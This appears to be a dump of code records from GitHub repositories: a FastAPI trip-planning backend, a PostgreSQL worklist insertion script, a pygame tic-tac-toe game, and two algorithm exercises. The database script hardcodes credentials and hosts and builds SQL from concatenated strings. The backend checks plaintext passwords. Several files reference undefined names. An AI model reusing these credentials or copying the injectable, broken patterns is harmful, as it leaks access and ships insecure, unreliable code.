ActionSuccessResponse(success=True)\n\n\ndef authenticate_user(session, username: str, password: str):\n return session.query(User).filter(User.username == username, User.password == password).first()\n\n\n@app.post(\"/login\")\ndef login(credentials: HTTPBasicCredentials = Depends(security), session=Depends(get_db)):\n \"\"\"\n Authenticate a user and return an access token.\n\n This function authenticates a user by checking their username and password against the records in the `users` table.\n If the credentials are valid, it generates and returns a new access token.\n\n Args:\n - credentials (HTTPBasicCredentials): The username and password provided by the user.\n - session (sqlalchemy.orm.session.Session): The SQLAlchemy database session.\n\n Returns:\n TokenOut: A model containing the access token and token type.\n\n Raises:\n HTTPException: If the credentials are invalid.\n \"\"\"\n user = authenticate_user(\n session, credentials.username, credentials.password)\n if not user:\n raise HTTPException(\n status_code=401, detail=\"Incorrect username or password\")\n token = UserManagement.create_access_token(session, user)\n return TokenOut(access_token=token, token_type=\"bearer\")\n\n\n@app.get(\"/users/me\")\ndef read_current_user(session=Depends(get_db), credentials: HTTPAuthorizationCredentials = Depends(bearer_security)):\n \"\"\"\n Retrieve the current user's username.\n\n This function retrieves the current user's username by looking up the user's ID in the `tokens` table,\n then using the ID to look up the user's record in the `users` table.\n\n Args:\n - session (sqlalchemy.orm.session.Session): The SQLAlchemy database session.\n\n Returns:\n UserOut: A model containing the current user's username.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n # Look up the user associated with the token\n user = UserManagement.get_current_user(session, credentials.credentials)\n # Verify such user exists\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n return UserOut(username=user.username, fullName=user.full_name)\n\n@app.get(\"/user/{username}\")\ndef read_current_user(username: str, session=Depends(get_db)):\n \"\"\"\n Retrieve the current user's username.\n\n This function retrieves the request user details.\n\n Args:\n - session (sqlalchemy.orm.session.Session): The SQLAlchemy database session.\n - token (str): The access token provided by the user.\n\n Returns:\n UserOut: A model containing the reqest user details\n \"\"\"\n user = UserManagement.get_user(session, username)\n if not user:\n raise HTTPException(status_code=404, detail=\"User Not Found\")\n return UserOut(username=user.username, fullName=user.full_name)\n\n\n@app.post(\"/trip/create\")\ndef create_trip(tripIn: TripIn, credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n Create a new trip for the authenticated user.\n\n Args:\n - tripIn (TripIn): The input data for the new trip.\n - credentials (HTTPAuthorizationCredentials): The bearer token for authenticating the user.\n - session (Session): The database session.\n\n Returns:\n ActionSuccessResponse: A response indicating whether the action was successful.\n \n Raises:\n HTTPException: If there was an error with the authentication or if the user was not found.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n # Look up the user associated with the token\n user = UserManagement.get_current_user(session, credentials.credentials)\n # Verify such user exists\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n # Create the trip object and add it to the database\n trip = Trip(\n start_date=datetime.strptime(tripIn.startDate, \"%Y-%m-%d\").date(),\n end_date=datetime.strptime(tripIn.endDate, \"%Y-%m-%d\").date(),\n origin=tripIn.origin,\n destination=tripIn.destination,\n user_id=user.id\n )\n\n session.add(trip)\n session.commit()\n\n user_trip_assoc = TripUsers(\n user_id=user.id,\n trip_id=trip.id\n )\n\n session.add(user_trip_assoc)\n session.commit()\n\n return ActionSuccessResponse(success=True)\n\n\n@app.get(\"/my-trips\")\ndef get_trips(credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n Retrieve trips for the authenticated user.\n\n This endpoint returns a list of trips associated with the authenticated user. The user is authenticated using a Bearer token, and if the authentication fails, the function raises an HTTPException with status code 400 and the detail message \"Incorrect authorization type\" or \"User not found\" if the user is not present in the database.\n\n Args:\n - credentials (HTTPAuthorizationCredentials): the authentication credentials provided by the client.\n - session (Session): the SQLAlchemy session object used to interact with the database.\n \n Returns:\n - TripsOut: A Pydantic model object containing a list of trips associated with the authenticated user. Each trip is represented as a TripOut object, which contains details about the trip including the participants and events associated with it.\n \n Raises:\n HTTPException(400): If the authentication fails, the user is not found in the database or the user is not associated with any trips.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n # Look up the user associated with the token\n user = UserManagement.get_current_user(session, credentials.credentials)\n # Verify such user exists\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n trips = session.query(Trip).filter(Trip.user_id == user.id)\n return TripsOut(trips=[convert_trip(session, trip) for trip in trips])\n\n\n@app.get(\"/all-trips\")\ndef get_trips(credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n Retrieves all trips from the database.\n\n Args:\n - credentials (HTTPAuthorizationCredentials, optional): The authorization credentials of the user. Defaults to Depends(bearer_security).\n - session (Session, optional): The database session. Defaults to Depends(get_db).\n \n Raises:\n HTTPException: If the credentials scheme is not 'bearer' or the user is not found in the database.\n \n Returns:\n TripsOut: A response model containing a list of TripOut objects representing the retrieved trips.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n # Look up the user associated with the token\n user = UserManagement.get_current_user(session, credentials.credentials)\n # Verify such user exists\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n trips = session.query(Trip)\n return TripsOut(trips=[convert_trip(session, trip) for trip in trips])\n\n\n@app.get(\"/trip/{trip_id}\")\ndef get_trips(trip_id: int, credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n This function handles GET requests to retrieve details of a specific trip by its ID.\n\n Args:\n - trip_id (int): ID of the trip to retrieve details for.\n - credentials (HTTPAuthorizationCredentials, optional): HTTP authorization credentials required for authentication.\n - session (sqlalchemy.orm.Session, optional): Database session object.\n \n Returns:\n TripOut: TripOut object containing the details of the trip, including its participants, events, and basic information.\n \n Raises:\n HTTPException(400): If the authorization type is incorrect or the user is not found.\n HTTPException(404): If the trip with the given ID is not found.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n\n user = UserManagement.get_current_user(session, credentials.credentials)\n\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n trip = session.query(Trip).filter(Trip.id == trip_id).first()\n\n if trip is None:\n raise HTTPException(status_code=404, detail=\"Trip not found\")\n\n return convert_trip(session, trip, user)\n\n\n@app.post(\"/trip/add-participant\")\ndef create_trip(participantData: AddTripParticipantPostData, credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n Adds a participant to an existing trip.\n\n Args:\n - participantData (AddTripParticipantPostData): A data model for the participant to be added to the trip.\n - credentials (HTTPAuthorizationCredentials): The credentials of the user making the request.\n - session: The database session.\n \n Returns:\n An ActionSuccessResponse data model with a success message.\n\n Raises:\n HTTPException(400): If the authorization type is incorrect or the user is not found.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n\n user = UserManagement.get_current_user(session, credentials.credentials)\n\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n user_trip_assoc = TripUsers(\n user_id=user.id,\n trip_id=participantData.trip_id\n )\n\n session.add(user_trip_assoc)\n session.commit()\n\n return ActionSuccessResponse(success=True)\n\n\n@app.post(\"/trip/remove-participant\")\ndef create_trip(participantData: RemoveTripParticipantPostData, credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n Endpoint to remove a participant from a trip.\n\n Args:\n - participantData: RemoveTripParticipantPostData - object containing the ID of the trip to remove the participant from\n - credentials: HTTPAuthorizationCredentials - authorization header for user authentication\n - session: Session = Depends(get_db) - database session dependency\n \n Returns:\n ActionSuccessResponse: An object with a boolean indicating the success or failure of the operation.\n\n Raises:\n HTTPException: An exception is raised if the authorization header is incorrect or if the user is not found.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n\n user = UserManagement.get_current_user(session, credentials.credentials)\n\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n allTripUserAssocs = session.query(TripUsers).all()\n\n user_trip_assocs = (\n session\n .query(TripUsers)\n .filter(\n (TripUsers.user_id == user.id) and\n (TripUsers.trip_id == participantData.trip_id)\n )\n .all()\n )\n\n for assoc in user_trip_assocs:\n session.delete(assoc)\n session.commit()\n\n return ActionSuccessResponse(success=True)\n\n\n@app.post(\"/trip/add-event\")\ndef create_trip(newEventData: AddTripEventPostData, credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n Adds a new event to the specified trip.\n\n Args:\n - newEventData (AddTripEventPostData): A Pydantic model representing the new event to be added.\n - credentials (HTTPAuthorizationCredentials): The bearer token representing the user's authorization.\n - session (Session): The SQLAlchemy database session.\n\n Returns:\n ActionSuccessResponse: A Pydantic model indicating the success or failure of the operation.\n \n Raises:\n HTTPException: If the user is not authorized or is not found in the database.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n\n user = UserManagement.get_current_user(session, credentials.credentials)\n\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n event = TripEvent(\n description=newEventData.description,\n time=datetime.strptime(newEventData.time, \"%Y-%m-%d\").date(),\n trip_id=newEventData.trip_id,\n )\n\n session.add(event)\n session.commit()\n\n return ActionSuccessResponse(success=True)\n\n\n@app.post(\"/trip/remove-event\")\ndef create_trip(eventData: RemoveTripEventPostData, credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n Remove an event from a trip.\n\n Args:\n - eventData: RemoveTripEventPostData: An object containing the event ID to remove from the trip.\n - credentials: HTTPAuthorizationCredentials: The authentication credentials of the user making the request.\n - session: sqlalchemy.orm.Session: The database session.\n \n Returns:\n ActionSuccessResponse: An object containing a boolean value indicating whether the action was successful.\n\n Raises:\n HTTPException: If the user is not authorized or is not found in the database.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n\n user = UserManagement.get_current_user(session, credentials.credentials)\n\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n\n event = (\n session\n .query(TripEvent)\n .filter(\n TripEvent.id == eventData.event_id\n )\n .one()\n )\n\n session.delete(event)\n session.commit()\n\n return ActionSuccessResponse(success=True)\n\n\n@app.delete(\"/trips/{trip_id}\")\ndef delete_trip(trip_id: int, credentials: HTTPAuthorizationCredentials = Depends(bearer_security), session=Depends(get_db)):\n \"\"\"\n This function deletes a trip identified by the given trip ID. It requires a valid bearer token for authentication, and the user associated with the token must exist. If the trip ID is not found, it raises an HTTPException with status code 404. If the authentication type is incorrect, it raises an HTTPException with status code 400.\n\n Args:\n - trip_id (int): ID of the trip to be deleted\n - credentials (HTTPAuthorizationCredentials): HTTP authorization credentials\n - session: SQLAlchemy session dependency\n \n Returns:\n ActionSuccessResponse: An object containing a Boolean value indicating whether the action was successful or not.\n\n Raises:\n HTTPException: If the user is not authorized or is not found in the database.\n \"\"\"\n if credentials.scheme.lower() != \"bearer\":\n raise HTTPException(\n status_code=400, detail=\"Incorrect authorization type\")\n # Look up the user associated with the token\n user = UserManagement.get_current_user(session, credentials.credentials)\n # Verify such user exists\n if not user:\n raise HTTPException(status_code=400, detail=\"User not found\")\n trip = session.query(Trip).filter(Trip.id == trip_id).first()\n if trip is None:\n raise HTTPException(status_code=404, detail=\"Trip not found\")\n session.delete(trip)\n session.commit()\n\n return ActionSuccessResponse(success=True)\n\n\n@click.command()\n@click.option(\"--port\", default=8000, help=\"Port to run the server on\")\ndef main(port):\n uvicorn.run(app, port=port)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yb62/FinalProject","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30917640333","text":"import subprocess\nimport os\n\nimport psycopg2\nimport psycopg2.extras\nfrom xml.etree.ElementTree import parse\nimport traceback\nfrom datetime import datetime\n\n#디비 접속util\nclass SqlMapper:\n #생성자\n def __init__(self):\n self.connect()\n\n def connect(self):\n ## nhn 52\n #self.conn = psycopg2.connect(\"dbname='gaic_db' user='gaic' host='133.186.146.169' port='15502' password='gaic123!@#' \")\n ## bts 52\n # self.conn = psycopg2.connect( \"dbname='gaic_db' user='gaic' host='175.201.6.4' port='15502' password='gaic123!@#' \")\n ## local\n self.conn = psycopg2.connect( \"dbname='gaic_db' user='postgres' host='192.168.50.217' port='5432' password='gjac' \")\n\n if self.conn == False:\n raise ConnectionError(\"## DB connection pool created Fail\")\n\n self.cursor = self.conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n print(\"db connection..ok\")\n\n def select_workList(self, table_name, data_dic, status_list=None, column_list=None, option = None):\n # conn = psycopg2.connect(dbinfo.conn_info)\n\n sql = \"select \"\n if column_list != None:\n sql += \",\".join(column_list)\n else:\n sql += \" * \"\n sql += \" from \" + table_name\n where = \" where 1 = 1\"\n\n for key, value in data_dic.items():\n where += \" and \" + key + \" = '\" + value + \"'\"\n\n if status_list != None:\n status_str = \"','\".join(status_list)\n where += \" and work_status in ('\" + status_str + \"')\"\n\n if option != None:\n where += \" \" + option\n\n sql += where + \";\"\n\n print(sql)\n self.cursor.execute(sql)\n result = self.cursor.fetchall()\n\n # self.conn.commit()\n # self.conn.close()\n\n result_dic =[]\n for data in result:\n result_dic.append(dict(data))\n return result_dic\n\n def update_status(self, table_name, data_dic, con_dic):\n # conn = psycopg2.connect(dbinfo.conn_info)\n # cursor = conn.cursor()\n try :\n cnt1 = 0\n set_query = \" set \"\n for key, value in data_dic.items():\n set_query += key + \" = '\" + value + \"'\"\n cnt1 += 1\n if len(data_dic) > cnt1:\n set_query += \",\"\n where_query = \" where 1=1 \"\n for key, value in con_dic.items():\n where_query += \" and \" + key + \" = '\" + value + \"'\"\n sql = \"update \" + table_name + set_query + where_query + \";\"\n\n self.cursor.execute(sql)\n print(sql)\n except :\n self.conn.rollback()\n raise\n # self.conn.commit()\n # self.conn.close()\n\n # sqlMappid : xml파일명.수행아이디\n # Mabatis (차후 psycopg2를 Mabatis로 변경할 것)\n # sqlMapperid : filename.(select, update, delete IdName)\n def get_select(self, sqlMapperid=None, parameter=None):\n sqlStr = self.getSql(sqlMapperid, \"select\")\n\n if sqlStr == \"\":\n raise ConnectionError(\"not Query parse error: %s\" % sqlMapperid)\n\n # 변수 파싱\n for key in parameter:\n findStr = (\"#{%s}\" % key)\n while sqlStr.find(findStr) > -1:\n sqlStr = sqlStr.replace(findStr, parameter[key] )\n\n while (sqlStr.find('[if test=\"') > -1):\n start_porint = sqlStr.find('[if test=\"')\n ifStrEnd = sqlStr.find('\"]')\n end_point = sqlStr.find(\"[/if]\")\n\n ifStr = sqlStr[start_porint + 10:ifStrEnd] # 0:\n ifStrArr = ifStr.split(\"!=\")\n print(\"%s != %s\" % (parameter[ifStrArr[0].strip()], ifStrArr[1].strip()))\n\n if parameter[ifStrArr[0].strip()] != ifStrArr[1].strip().replace(\"''\", \"\"):\n ifpro = \"Y\"\n else:\n ifpro = \"N\"\n\n if ifpro == \"N\": # if값이 참이 아니면\n sqlStr = sqlStrStart_Str + sqlStrend_str\n else:\n sqlStr = sqlStrStart_Str + ifTrueStr + sqlStrend_str\n\n # sql 실행\n print(sqlStr)\n\n self.cursor.execute(sqlStr)\n result = self.cursor.fetchall()\n\n # 딕셔너리로 변환해서 반환\n result_dic = []\n for data in result:\n result_dic.append(dict(data))\n return result_dic\n\n def set_insertQuery(self, sqlMapperid=None, parameter=None):\n sqlStr = self.getSql(sqlMapperid,\"insert\")\n\n if sqlStr ==\"\":\n raise ConnectionError(\"not Query parse error: %s\" % sqlMapperid)\n\n #변수 파싱\n for key in parameter:\n findStr = (\"#{%s}\" % key)\n while sqlStr.find(findStr) > -1:\n sqlStr = sqlStr.replace( findStr, \"'\"+parameter[key]+\"'\")\n\n try:\n self.cursor.execute(sqlStr)\n except:\n self.close()\n self.connect()\n self.cursor.execute(sqlStr)\n\n def set_updateQuery(self, sqlMapperid=None, parameter=None):\n sqlStr = self.getSql(sqlMapperid,\"update\")\n\n if sqlStr ==\"\":\n raise ConnectionError(\"not Query parse error: %s\" % sqlMapperid)\n\n #변수 파싱\n for key in parameter:\n findStr = (\"#{%s}\" % key)\n while sqlStr.find(findStr) > -1:\n sqlStr = sqlStr.replace( findStr, \"'\"+str(parameter[key])+\"'\")\n print(\"sql-->%s\" % sqlStr)\n\n try:\n self.cursor.execute(sqlStr)\n except:\n try:\n self.conn.closed()\n except:\n pass\n self.connect()\n self.cursor.execute(sqlStr)\n\n def commit(self):\n self.conn.commit()\n\n def rollbak(self):\n try:\n self.rollbak()\n except:\n pass\n\n def close(self):\n try:\n self.conn.commit()\n self.conn.closed()\n except:\n pass\n #소멸자\n def __del__(self):\n try:\n self.conn.commit()\n self.conn.closed()\n except:\n pass\n\n def getSql(self, sqlMapperid, queryType = \"select\"):\n if sqlMapperid == None:\n raise Exception(\"XML mapper None error..\")\n print(\"sqlMapperid:%s\" % sqlMapperid)\n path = os.path.dirname(os.path.abspath(__file__))\n sqlInfo = sqlMapperid.split(\".\")\n sqlXml = parse(path+\"/%s.xml\" % sqlInfo[0]).getroot()#xml파일읽기\n\n\n sqlStr = \"\"\n for selObj in sqlXml.findall(queryType):\n\n selid = selObj.attrib[\"id\"]\n\n if selid == sqlInfo[1]:\n sqlStr = selObj.text\n break\n print(\"sql-->%s\" %sqlStr )\n return sqlStr\n\ntry:\n #org_file_path = '/code/django_project/media/django_app' # docker in folder\n org_file_path = '/vol1/media/django_app' # ext folder\n folder_list = ['/action_video/dtw/', '/action_video/tbit/', '/action_video/gjac/']\n # For webcam input:\n for key in folder_list:\n print(\"___________폴더 탐색 시작___________________________________________\")\n command = \"find \" + org_file_path + key + \" -type f -and ! -name '*_Y.mp4' -and ! -name '*.bcpf' -and ! -name '*.json'\"\n fd_popen = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n (stdoutdata, stderrdata) = fd_popen.communicate()\n print(\"____________폴더 탐색 끝_____________________________________\")\n\n data = stdoutdata.decode('utf-8')\n\n data = data.replace(\"\\n\", \"^\")\n file_list = data.split(\"^\")\n\n print(\"파일갯수 : \", len(file_list))\n\n sql = SqlMapper()\n for file in file_list:\n file_org_name = file.strip()\n if len(file_org_name) == 0:\n continue\n\n file_trans_name = file.replace('.mp4', '_Y.mp4')\n print('파일 원본 비디오명 : ', file_org_name, ' 파일 변경 비디오명 : ', file_trans_name)\n file_trans_name_last = file_trans_name.split('/')[-1]\n # data_dic = {\n # 'video_path': '/media/django_app' + key + file_trans_name_last,\n # }\n\n option =\" and video_path like '%\"+ file_trans_name_last +\"%'\"\n result = sql.select_workList('django_app_worklist', data_dic={}, column_list=['work_id'], option= option)\n print(\"..........\", result)\n\n group_id = 'gjac'\n if 'dtw' in key:\n group_id = 'dtw'\n elif 'tbit' in key:\n group_id = 'tbit'\n else:\n group_id = 'gjac'\n # 인설트\n if len(result) == 0:\n now = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n data_dic = {\n 'work_type': 'interface' if 'action_video' in key else 'normal',\n 'video_path': data_dic[\"video_path\"],\n 'work_status':'A',\n 'reg_id': 'admin',\n 'reg_date': now,\n 'group_id': group_id\n }\n\n history_dic = {\n \"work_id\": \"@$currval('django_app_worklist_task_num_seq')\",\n \"work_status\": 'A',\n \"reg_id\": \"admin\",\n \"reg_date\": now,\n \"group_id\": group_id\n }\n print(\"..........999\")\n sql.insert_workList(table_name='django_app_worklist', data_dic=data_dic)\n print(\n \"---------------------------------------worklist insert complete--------------------------------------\")\n sql.insert_workList(table_name=\"django_app_workhistory\", data_dic=history_dic)\n print(\"..........7898u87\")\n\n # 파이썬 파일 이름 변경\n sql.conn.commit()\n os.rename(file_org_name, file_trans_name)\n sql.close()\n print(\"작업 끝!\")\n # return HttpResponse({'success' : True}, status = 200)\n\nexcept Exception as e:\n sql.close()\n traceback.print_exc()\n\n\n\n\n\n\n","repo_name":"garam2024/gitcar","sub_path":"insert_worklist.py","file_name":"insert_worklist.py","file_ext":"py","file_size_in_byte":10999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16407761435","text":"#!/usr/bin/python\n\n\n#import necessary modules\nimport os, sys\nimport pygame\nfrom pygame.locals import *\nimport sqlite3\nimport random\nfrom bots import minmax\n\n#check for pygame fonts and sounds\nif not pygame.font: print ('Warning, fonts disabled')\nif not pygame.mixer: print ('Warning, sound disabled')\n\n#set path variables\nmain_dir = os.path.split(os.path.abspath(__file__))[0]\nimg_dir = os.path.join(main_dir,'Assets','Images')\nsound_dir = os.path.join(main_dir,'Assets','Sounds')\n\n\n\n# Define some colors\nBLACK = ( 0, 0, 0)\nWHITE = ( 255, 255, 255)\nGREEN = ( 50, 255, 60)\nRED = ( 255, 120, 50)\nBLUE = ( 0, 0, 255)\n\n# Defining Button\nclass button:\n def __init__(self,surf,message,x,y,w,h,ic):\n self.rectangle = pygame.draw.rect( surf, ic, (x, y, w, h))\n font = pygame.font.Font(None, 32)\n text = font.render(message, 1, BLACK)\n textpos = text.get_rect()\n textpos.centerx = x+w/2\n textpos.centery = y+h/2\n surf.blit(text, textpos)\n\n# Function to load sound\ndef load_sound(name):\n class NoneSound:\n def play(self): pass\n if not pygame.mixer or not pygame.mixer.get_init():\n return NoneSound()\n fullname = os.path.join(sound_dir, name)\n try:\n sound = pygame.mixer.Sound(fullname)\n except pygame.error:\n print ('Cannot load sound: %s' % fullname)\n raise SystemExit(str(geterror()))\n return sound\n\n\n\n#Prepare Game Objects\nclock = pygame.time.Clock()\nfps = 60\napp_size = (360,360)\nextraspace = 60\nclick_sound = load_sound('Menu Choice.mp3')\n\n\n# Checks whether the game is finished or not\ndef game_finished(state):\n if state[0]==state[1]==state[2]!=0 or state[3]==state[4]==state[5]!=0 or state[6]==state[7]==state[8]!=0 or \\\n state[0]==state[3]==state[6]!=0 or state[1]==state[4]==state[7]!=0 or state[2]==state[5]==state[8]!=0 or \\\n state[0]==state[4]==state[8]!=0 or state[2]==state[4]==state[6]!=0 :\n return 'Won'\n if state.count(0) == 0:\n return 'Draw'\n\n\n# Displays menu\ndef menu(screen):\n # Add background\n try:\n background = pygame.image.load(os.path.join(img_dir,'Backgrounds','board_2.png')).convert_alpha()\n background = pygame.transform.scale(background, app_size)\n except:\n print(\"couldn't load the board.... exitting!!!\")\n sys.exit()\n\n # Blit everything to the screen\n screen.blit(background, (0, 0))\n pygame.display.flip()\n\n #defining buttons\n #Start = button(surf,message,x,y,w,h,ic,ac)\n button1 = button(screen,\"Play with Bot\",app_size[0]*0,app_size[1]*4/10,150,30,RED)\n button2 = button(screen,\"Play with other person\",app_size[0]*0,app_size[1]*5/10,250,30,GREEN)\n\n # Event loop'\n running = True\n while running:\n\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n return\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = event.pos # gets mouse position\n\n # checks if mouse position is over the button\n if button1.rectangle.collidepoint(mouse_pos):\n click_sound.play()\n game(screen)\n running = False\n\n\n if button2.rectangle.collidepoint(mouse_pos):\n click_sound.play()\n game(screen,False)\n running = False\n\n pygame.display.update()\n clock.tick(fps)\n\n\n# Actual Game function\ndef game(surf, AI = True):\n symbols = ['X','O']\n player = symbols[random.randint(0,1)]\n opponent = symbols[1-symbols.index(player)]\n board = [0]*9\n section_size = int(app_size[0]//3)\n surf.fill(WHITE)\n\n try:\n background = pygame.image.load(os.path.join(img_dir,'boards','board_1.png')).convert_alpha()\n background = pygame.transform.scale(background, app_size)\n except:\n print(\"couldn't load the board.... exitting!!!\")\n sys.exit()\n surf.blit(background,(0,0))\n turn = symbols[0]\n running = True\n result=str()\n while running:\n for event in pygame.event.get():\n if event.type == QUIT:\n return\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = event.pos # gets mouse position\n if turn == player:\n pos = int((mouse_pos[0]//section_size)*3 + mouse_pos[1]//section_size)\n if board[pos] == 0:\n board[pos] = player\n #try to add image if not add simple text\n symbol_image = pygame.image.load(os.path.join(img_dir,player,'i.png')).convert_alpha()\n symbol_image = pygame.transform.scale(symbol_image, (section_size,section_size))\n loc = (pos//3 * section_size, pos%3 *section_size)\n surf.blit(symbol_image,loc)\n pygame.display.update()\n pygame.time.delay(400)\n if game_finished(board) == 'Won':\n result = turn+\" has won\"\n running = False\n if game_finished(board)=='Draw':\n result = \"It's a DRAW !!!!\"\n running = False\n turn = opponent\n if turn == opponent and AI == False:\n pos = int((mouse_pos[0]//section_size)*3 + mouse_pos[1]//section_size)\n if board[pos] == 0:\n board[pos] = opponent\n #try to add image if not add simple text\n symbol_image = pygame.image.load(os.path.join(img_dir,opponent,'i.png')).convert_alpha()\n symbol_image = pygame.transform.scale(symbol_image, (section_size,section_size))\n loc = (pos//3 * section_size, pos%3 *section_size)\n surf.blit(symbol_image,loc)\n pygame.display.update()\n pygame.time.delay(400)\n if game_finished(board) == 'Won':\n result = turn+\" has won\"\n running = False\n if game_finished(board)=='Draw':\n result = \"It's a DRAW !!!!\"\n running = False\n turn = player\n\n if turn == opponent and running == True and AI == True:\n pos = minmax.move(board,opponent)\n board[pos] = opponent\n symbol_image = pygame.image.load(os.path.join(img_dir,opponent,'i.png')).convert_alpha()\n symbol_image = pygame.transform.scale(symbol_image, (section_size,section_size))\n loc = (pos//3 * section_size, pos%3 *section_size)\n surf.blit(symbol_image,loc)\n if game_finished(board) == 'Won':\n result = turn+\" has won\"\n running = False\n if game_finished(board)=='Draw':\n result = \"It's a DRAW !!!!\"\n running = False\n turn = player\n\n pygame.display.update()\n clock.tick(fps)\n\n font = pygame.font.Font(None, 36)\n text = font.render(result, 1, (10, 10, 10))\n surf.blit(text, (0,app_size[1]+10))\n pygame.display.update()\n font = pygame.font.Font(None, 18)\n text = font.render(\"press any key to continue...\", 1, (10, 10, 10))\n surf.blit(text, (0,app_size[1]+40))\n pygame.display.update()\n\n while not running:\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n surf.fill(WHITE)\n return\n clock.tick(fps)\n\n\n\ndef main():\n # Initialise screen\n pygame.init()\n screen = pygame.display.set_mode((app_size[0],app_size[1]+extraspace))\n pygame.display.set_caption('Tic-Tac-Toe')\n screen.fill(WHITE)\n # Event loop'\n running = True\n while running:\n for event in pygame.event.get():\n if event.type == QUIT:\n return\n menu(screen)\n clock.tick(fps)\n pygame.quit()\n sys.exit()\n\n\nif __name__ == '__main__' : main()\n","repo_name":"sanjeethboddi/Tic-Tac-Toe","sub_path":"tic-tac-toe.py","file_name":"tic-tac-toe.py","file_ext":"py","file_size_in_byte":8300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21992849787","text":"def uniquePathsIII(grid):\n m=len(grid)\n n=len(grid[0])\n\n start_r,start_c,end_r,end_c=0,0,0,0\n bloc=0\n for r in range(m):\n for c in range (n):\n if grid[r][c] == 1:\n start_r,start_c = r,c\n elif grid[r][c] == 2:\n end_r, end_c = r,c\n elif grid[r][c] == 0:\n bloc += 1\n \n global output\n output=0\n visited = []\n def recursion(visited,r,c,covbloc):\n if r == end_r and c == end_c: # why second if is used in it why not \"and\" can be used for it..!\n if covbloc == bloc+1:\n output += 1 # meaning of self thing.\n covbloc = 0 # why without this the code is coming to be true.\n return\n \n if 0<=r \", end=\"\")\n\tprint(ver.name, end=\"\")\n\t\n\n# start_vertex je cislo ....ale vypisujem pismena bacha na to\ndef Bellman_Ford(graph, start_vertex):\n\tallVertex = [Vertex() for _ in range(graph.size + 1)]\n\tfor i in range(graph.size + 1):\n\t\t# funkcia chr meni ordinalnu hodnotu na pisemno \n\t\t# 65 -> A\n\t\t# 66 -> B ...\n\t\tallVertex[i].name = chr(65 + i)\n\t# Inicializacia\n\tInit_SSSP(start_vertex, allVertex)\n\t# for i = 1 to |V|-1 do \n\tfor i in range(graph.size):\n\t\tfor u in range(graph.size + 1):\n\t\t\tfor w, v in graph.succs[u]:\n\t\t\t\tif allVertex[v].distance > allVertex[u].distance + w and allVertex[u] != math.inf:\n\t\t\t\t\tRelax(allVertex[u], allVertex[v], w)\n\t# Kontrola ci je cyklus zapornej dlzky\n\tfor u in range(graph.size + 1):\n\t\tfor w, v in graph.succs[u]:\n\t\t\tif allVertex[v].distance > allVertex[u].distance + w and allVertex[u] != math.inf:\n\t\t\t\treturn None\n\t# Hlavny algortimus konci, to co je pod tymto komentom su len veci na vypis\n\t# Vypisovanie\n\t# Vrchol -> aka dlaha je najkrasia cesta \n\tprint(\"Vertex Distance from Source\") \n\tfor i in range(graph.size + 1):\n\t\tprint(\"%d \\t\\t %d\" % (i, allVertex[i].distance))\n\tprint(\"--------- CESTY ---------\")\n\n\t# Vypis cesty. Cez ake vrcholy sme museli prejst\n\tfor i in range(graph.size + 1):\n\t\tprint(\"Vertex: \" + str(i) + \"| \", end=\"\")\n\t\trecPath(start_vertex, allVertex[i], allVertex)\n\t\tprint()\n\nBellman_Ford(graph1, 